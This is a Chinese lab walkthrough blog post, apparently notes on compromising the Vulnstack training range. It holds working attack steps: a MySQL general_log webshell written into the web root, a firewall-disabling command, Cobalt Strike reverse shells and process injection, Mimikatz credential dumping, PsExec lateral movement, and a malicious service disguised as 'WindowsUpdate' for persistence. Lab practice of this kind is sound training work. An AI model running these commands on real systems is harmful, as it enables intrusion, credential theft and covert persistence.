Vulnstack红日靶场通关(持续更新)

Vulnstack通关

来源于《内网渗透实战攻略》实战部分

个人是写下自己的笔记

攻击链:探索发现阶段->入侵和感染阶段->攻击和利用阶段->探索感知阶段->传播阶段->持久化和恢复阶段

Windows权限级别前置知识:

权限层级 账户类型 权限范围 常见用途 安全风险 提权方法
普通用户 (User) 标准用户账户 - 运行应用程序 - 修改个人文件 - 无法安装软件或修改系统设置 日常办公、网页浏览、文档编辑 无法操作系统核心功能,攻击面有限 利用漏洞(如 UAC 绕过、DLL 劫持)
管理员 (Administrator) 管理员账户 - 安装/卸载软件 - 修改系统配置 - 管理用户账户 - 部分内核操作权限 系统维护、软件部署、用户管理 可能被恶意软件提权,导致系统完全沦陷 利用漏洞(如 MS08-067、永恒之蓝)、滥用计划任务、Token 劫持
SYSTEM 系统内置账户 - 内核级权限 - 完全控制系统资源 - 访问所有硬件和驱动 - 绕过用户权限限制 运行系统服务(如 services.exe)、底层驱动加载、安全审计 攻击者可完全控制系统,隐藏痕迹难度高 利用服务漏洞(如 PrintSpooler)、滥用 PsExec、计划任务提权
Local Service 虚拟服务账户 - 本地网络访问权限 - 启动/停止相关服务 - 低权限系统操作 运行低权限后台服务(如 Windows Update 权限较低,但仍可被滥用于横向渗透 利用服务间信任关系、提权到 Network Service
Network Service 虚拟服务账户 - 网络访问权限(如访问网络共享) - 部分系统服务操作 运行需要网络权限的服务(如 DNS Client 可能通过横向渗透扩大攻击范围 利用网络协议漏洞、提权到 Local System
域管理员 (Domain Admin) 域控制器账户 - 管理整个域环境 - 控制域内所有用户和计算机 - 修改域策略 企业环境中的集中管理 域控沦陷将导致整个域被控制 黄金票据 (Golden Ticket)、域提权漏洞(如 CVE-2020-1472)
虚拟账户 (Virtual Account) 自动托管的服务账户 (如 NT SERVICE\wuauserv) - 特定服务的最小权限 - 隔离服务间权限

配置前置知识:

网络模式 通信范围 IP 地址分配 典型用途 优点 缺点
NAT 宿主机与外部网络,虚拟机之间不互通 由宿主机 DHCP 分配(私有 IP) 虚拟机需访问外部网络(如互联网),但不需要被外部主动访问 隔离宿主机与外网,安全性高 虚拟机之间无法直接通信
NAT 网络 宿主机、虚拟机之间,及外部网络 由 NAT 网络 DHCP 分配(私有 IP) 多个虚拟机需共享宿主机网络访问外网,且虚拟机之间需要互访 支持多虚拟机互联,灵活性高 配置较复杂,依赖宿主机网络
桥接 Bridged 宿主机所在物理网络(与局域网平级) 由路由器 DHCP 分配(与宿主机同级) 虚拟机需作为独立设备接入局域网(如模拟真实设备) 虚拟机与宿主机、局域网设备完全互通 可能占用局域网 IP,安全性较低
内部网络 Internal 仅虚拟机之间(隔离环境) 无 DHCP,需手动分配静态 IP 模拟完全隔离的内网环境(如测试内网渗透) 完全隔离,无外部干扰 无法连接宿主机或互联网
仅主机 Host-Only 宿主机与虚拟机之间 由虚拟网络适配器分配(私有 IP) 宿主机与虚拟机之间需要私密通信(如测试 Web 服务器与宿主机的交互) 宿主机与虚拟机双向通信,安全性较高 虚拟机无法访问外部网络

Cobalt Strike配置教程:

client为客户端,Server为服务端。

以linux系统虚拟机(或服务器)为服务端,首先配置环境:

sudo apt-get install openjdk-11-jdk

然后打开服务端:

chmod 777 teamserver
chmod 777 TeamServerImage
./teamserver [服务端IP] [连接密码]

打开客户端连接:

image-20250327215601920

Vulnstack1

VM1——Windows 7 x64——Web服务器,双网卡(一个对内网访问一个对外网访问)

VM2——Win2K3 Metasploitable——内网域成员主机

VM3——Windows Server 2008 R2 x64——域控主机

img

虚拟机名称 角色/功能 网络配置 主要用途 典型攻击场景示例
VM1 Web服务器(跳板/网关) 双网卡(对外网卡+对内网卡) 1. 对外提供服务的Web应用 2. 作为内网与外网的通信跳板 3. 测试外网到内网的渗透链 1. 利用Web漏洞(如SQL注入、RCE)入侵 2. 通过跳板横向渗透内网其他主机
VM2 内网域成员主机(易受攻击目标) 仅内网网卡(与VM1/VM3通信) 1. 提供漏洞攻击实践环境(如永恒之蓝、MS08-067) 2. 模拟普通域成员主机权限提升 1. 利用漏洞获取本地管理员权限 2. 窃取域用户哈希进行横向渗透(如Pass-the-Hash)
VM3 域控制器(Domain Controller) 仅内网网卡(与VM1/VM2通信) 1. 模拟Active Directory域环境 2. 测试域提权、黄金票据等高级攻击 1. 破解域控制器SAM数据库获取域管理员权限 2. 伪造票据(Golden Ticket)控制域环境

配置如下:

image-20250327191405639

image-20250327191620354

image-20250327191633069

image-20250327194953257

注意:配置的子网地址必须是192.168.52.0,否则win7的web服务无法开启

登录密码为hongrisec@2019,有两台靶机密码会过期,为了防止出现问题将三台靶机密码都重新设置同样的密码。

启动WEB服务:

image-20250327195117456

登录web服务器靶机查看IP地址,测试连通性后即可开始:

image-20250327195249909

探索发现阶段:

进行端口扫描:

image-20250327210521378

识别 80 端口的web应用框架和版本:

image-20250327195328209

直接暴露探针页面,泄露了当前站点使用了PHPSTUDY这一信息(绝对路径)

还给出了MySQL数据库连接测试功能点,使用root/root默认密码登录成功:

image-20250327210725066

使用navicat远程连接数据库失败,推测该服务设置了远程白名单:

image-20250327211047926

入侵和感染阶段

通过Web目录枚举扩大攻击面:

image-20250327211352755

image-20250327211340832

找到了phpMyAdmin平台的访问地址,进行访问:

image-20250327211510846

phpMyAdmin

phpMyAdmin 是一个基于 Web 的 MySQL/MariaDB 数据库管理工具,通过图形化界面(GUI)简化数据库的创建、维护和操作。它用 PHP 编写,支持跨平台(Windows/Linux/macOS),无需命令行基础即可管理数据库。

此处按照登录框测试流程思路(详见The Hackers Labs(打靶场练习) - Super_Snow_Sword - 博客园),优先使用之前得到的用户密码root/root尝试登录:

image-20250327212014070

利用 phpMyAdmin 日志文件获取Web服务器权限

首先确认当前日志文件设置情况,执行SQL语句:

show variables like "general_log%";
SHOW VARIABLES MySQL 命令,用于显示系统变量的当前值。
LIKE "general_log%" 过滤条件,匹配变量名以 general_log 开头的所有变量(模糊查询)。

执行后显示日志功能为关闭状态,默认日志文件路径为C:\phpStudy\MySQL\data\stu1.log

image-20250327213010774

获得webshell步骤如下:

1.开启日志功能

set global general_log='on';

2.更改日志文件目录

set global general_log_file = "C:\\phpstudy\\www\\shell.php";

3.向日志中写入恶意代码

select "<?php system($_REQUEST[cmd]);?>";

这样日志文件C:\\phpstudy\\www\\shll.php就会写入select "<?php system($_REQUEST[cmd]);?>";

我们可以直接测试webshell:

image-20250327213703785

进行目录遍历,发现新的目录:

image-20250327214047591

image-20250327214319652

发现新目录并且公告信息中泄露了后台登录地址、用户名和密码

直接登录

image-20250327214415120

这里也有SQL执行功能,可以注入webshell

拥有了webshell就可以通过远程命令执行上线Cobalt Strike了

关闭防火墙:

netsh advfirewall set allprofiles state off

生成恶意文件,让恶意文件执行即可让Cobalt Strike获得一个反弹shell(使用了蚁剑操作,用了其他另一个一句话木马<?php eval($_REQUEST[cmd]);?>):

image-20250327221949305

恶意文件创建成功后上传文件到靶机上:

image-20250327223150985

image-20250327223313782

反弹shell连接默认每60秒交互一次,我们将其改为实时交互:

image-20250327223551986

CS获得实时交互功能:

sleep 0

image-20250327223610597

通过shell [命令]的方式与终端进行交互

image-20250327223714153

攻击和利用阶段

通过systeminfo命令发现该Web服务器是64位的Windows 7 系统:

image-20250327225828875

有前面的步骤我们已经得到了64位的反弹shell连接(注意反弹shell的arch栏),因此我们可以直接提权为SYSTEM权限

getsystem

image-20250327230421128

若当前获得的是一个32位shell进程,则还需要获得一个64位的反弹shell连接

借助进程注入的方式实现64位反弹shell的获取

1.查看目标主机本地的进程列表

shell tasklist

image-20250327230739903

2.注入目标进程,优先选择非系统进程(防止注入操作导致系统崩溃),并且尽量选择常见的程序进程

这里选择Everything.exe,其PID为3032:

image-20250327231008178

inject 3032 x64

image-20250327231109562

现在就有新的x64反弹shell了,getsystem提权即可

探索感知阶段

收集内网域服务器信息

net view

image-20250327231326978

发现两台内网主机,PDC(Primary Domain Controller)为主域控制器主机,另一台为普通的域成员主机

还有一个STU1是我们拿下的WEB服务器主机的内网地址

可以在CS中列出我们的目标:

image-20250327231549293

image-20250327231626366

抓取哈希及转储明文密码

Cobalt Strike的Beacon反弹Shell自带Mimikatz套件,因此可以直接读取本地密码和哈希:

logonpasswords

image-20250327231859479

可以看出密码明文是我改成的hongrisec@2022

同时可以发现该Administrator用户属于域GOD内的域用户,这意味着我们可以借助他的用户密码尝试登录其他域主机

传播阶段

使用PsExec建立IPC通道,上线域控服务器

PsExec相关介绍可以看这篇相关的流量分析:CyberDefenders通关(持续缓慢更新) - Super_Snow_Sword - 博客园

直接横向移动上线:

image-20250327232421321

image-20250327232601575

同时添加一个SMB协议的监听器作为内网传输媒介

image-20250327232631572

选择当前拥有的64位反弹shell会话作为发起该操作的会话:

image-20250327232849207

就这样我们成功上线域控服务器

同理我们可以上线域成员服务器全部拿下:

image-20250327233410337

攻击者控制台 (CS)
│
├─ 1. 使用 PsExec 通过 SMB 协议连接目标机器
│   │
│   ├─ 上传恶意 Payload 到目标机器的 IPC$ 共享目录【进程间通信(Inter-Process Communication)】
│   └─ 通过远程进程注入执行 Payload,建立初始 Shell 会话
│
├─ 2. 添加 SMB 监听器(作为内网通信中继)
│   │
│   ├─ 监听器监听本地端口(如 445),接收来自内网的反向连接
│   └─ 通过加密通道中转流量(规避防火墙检测)
│
└─ 3. 利用现有 64 位 Shell 会话发起横向移动│├─ 通过已控制的 64 位进程注入恶意代码└─ 执行提权操作或扫描内网其他主机

持久化和恢复阶段

常见的后门

  • 建立计划任务,定时连接远程服务器
  • 设置开机启动程序,每次开机都会触发执行恶意程序
  • 新建系统管理员账号

通过Cobalt Strike持久化控制服务器

service功能对唯一可以联通外网的Windows 7 操作系统主机进行权限维持

首先生成一个恶意程序(之前已经做过)

查看被控制的目标主机本地的所有文件:

image-20250327233955889

将恶意文件上传到桌面:

image-20250327234109893

执行命令:

shell sc create "WindowsUpdate" binpath= "C:\Users\Administrator\Desktop\artifact_x64.exe"&&sc config "WindowsUpdate" start= auto&&net start WindowsUpdate
命令部分 作用 参数/路径 执行结果 潜在风险
sc create "WindowsUpdate" binpath= "C:\Users\Administrator\Desktop\artifact_x64.exe" 创建名为 WindowsUpdate 的 Windows 服务。 - 服务名称WindowsUpdate - 二进制路径C:\Users\Administrator\Desktop\artifact_x64.exe 若路径有效且权限足够,服务将被创建。 - 路径错误:若 artifact_x64.exe 不存在,服务创建失败。 - 恶意程序植入:若该文件为恶意程序,将导致持久化后门。
sc config "WindowsUpdate" start= auto 将服务 WindowsUpdate 的启动类型设置为 自动启动 - 服务名称WindowsUpdate - 启动类型auto 服务被标记为开机自启,系统重启后会自动运行。 - 权限要求:需管理员权限。 - 系统稳定性风险:恶意服务可能导致系统崩溃或异常。
net start WindowsUpdate 立即启动服务 WindowsUpdate

恢复阶段的攻击

1.删除上传的所有webshell

2.还原MySQL日志设置

set global general_log='off';

3.清除系统日志等(这里书上就一句话没有具体操作,如果我是蓝队看到安全日志有那么多登录记录我会立刻拔掉网线):

image-20250328000453571

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/906909.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Ubuntu 24.04安装MySQL,并且配置外网访问

安装启动更新软件包列表sudo apt update安装MySQL软件包sudo apt install mysql-server启动MySQL服务sudo systemctl start mysql重启命令:systemctl restart mysql配置外网访问 需要修改一个配置 vim /etc/mysql/mysql.conf.d/mysqld.cnf注释掉 这行 配置 bind-address …

2022CCPC Online Contest G - Name the Puppy

对正串和反串分别建立 Trie 树,定义 \(dp[i][j]\) 表示正串 Trie 树上编号为 \(i\) 的点匹配反串 Trie 树上编号为 \(j\) 的点所能拼出最长 anti-border 的长度。 如此,从根节点开始搜索,直到无法匹配为止都可以搜,搜到底后回到根节点继续匹配,可以证明,拼出来的 anti-bo…

互联网不景气了那就玩玩嵌入式吧,用纯.NET开发并制作一个智能桌面机器人(四):结合BotSharp智能体框架开发语音交互

前言 前段时间太忙了博客一直都没来得及更新,但是不代表我已经停止开发了,刚好最近把语音部分给调整了一下,所以就来分享一下具体的内容了。我想说一下,更新晚还是有好处的,社区已经有很多的小伙伴自己实现了一些语音对话功能的案例,比如小智也有.NET客户端了,还有就是一…

【AI News | 20250327】每日AI进展

AI Repos 1、playwright-mcp 使用Playwright提供浏览器自动化功能的MCP服务,核心是让LLM通过结构化的可访问性快照与网页交互,不需要依赖截图或视觉模型。可以用来自动填写网页表单、自动收集网页信息、自动进行网页测试等。支持两种模式:快照模式(默认):使用可访问性快照…

markdown常用命令行格式

Markdown 主要命令(语法)如下:标题 使用 # 号表示标题,# 的个数决定标题的级别:一级标题 二级标题 三级标题 四级标题 五级标题 六级标题段落 & 换行 直接输入文字形成段落,使用两个以上空格或 进行换行:这是一个段落。 这是同一段的下一行。 使用 <br> 也可…

微调可以获得什么

1.改变模型的行为: 使模型的响应更稳定; 使模型聚焦于某一领域; 发展期潜力,在某一方面更加出色,比如对话 2.获取新的知识: 学习预训练阶段没学过的知识; 纠正过时的错误和信息;

2022CCPC Online Contest G - Count Permutation

利用大写字母较少的性质,记录两个大写字母中间的串是否相等来进行转移。 设 \(f[i][j]\) 表示考虑用到第 \(i\) 个大写字母的时候,\(s\) 匹配到第 \(j\) 个字符时最长匹配数。当前大写字母 \(t[pos[i]] = s[j]\) 时,显然有 \(f[i][j] = f[i][j - 1] + 1\)如果 \(s[pos[i - 1…

第2章 C#2

第2章 C#2 2.1 泛型 2.1.1 示例:泛型诞生前的集合 在泛型诞生之前(.NET1),开发者常用如下方式创建集合:数组普通对象集合 如 ArrayList​、Hashtable​专用类型集合 如 StringCollection​// 数组 static string[] GenerateNames() {string[] names = new string[4];names…

ESP32S3串口UART0,UART1UART2,软件模拟串口,USB虚拟串口的使用 - 基于ArduinoIDE

硬件串口的使用 硬件资源我使用的具体的模组型号为 ESP32-S3-WROOM-1(U), 根据官方手册其有3个串口。UART0:通常用于下载和输出调试信息串口,信号管脚默认与 GPIO43(TX) ~ GPIO44(RX) 复用,可以通过 GPIO 交换矩阵连接到任意 GPIO. UART1:信号管脚默认与 GPIO17(TX) ~ GPIO…

从0搭建nacos单点、集群

主机IP 主机名10.0.0.91 elk9110.0.0.92 elk9210.0.0.93 elk93nacos单机部署使用内置数据库 1.下载解压nacos [root@elk91 ~]# wget https://github.com/alibaba/nacos/releases/download/2.5.1/nacos-server-2.5.1.tar.gz[root@elk91 ~]# tar xf nacos-server-2.5.1.tar.gz -C…

ESP32在ArduinoIDE中的配置

🟡 注意 使用 Arduino IDE 开发 ESP32 时除了要看 Arduino 官方的资料一定还要看乐鑫的支持包的资料。详见↗️ 安装ArduinoIDE 到 Arduino 官网 下载最新版的 Arduino IDE 并安装。 🟡 压缩包格式的下载选项意义不大,Arduino IDE 2 无法制作为便携版,参考:绿色(Portabl…

文献阅读《Convolutional Neural Networks on Graphs with Fast Localized Spectral Filtering》

参考博客: 论文解读二代GCN《Convolutional Neural Networks on Graphs with Fast Localized Spectral Filtering》 - 别关注我了,私信我吧 - 博客园 (cnblogs.com) 摘要 为将CNN推广到高维图结构数据中,基于spectral graph theory(谱图理论),设计了一种通用的fast local…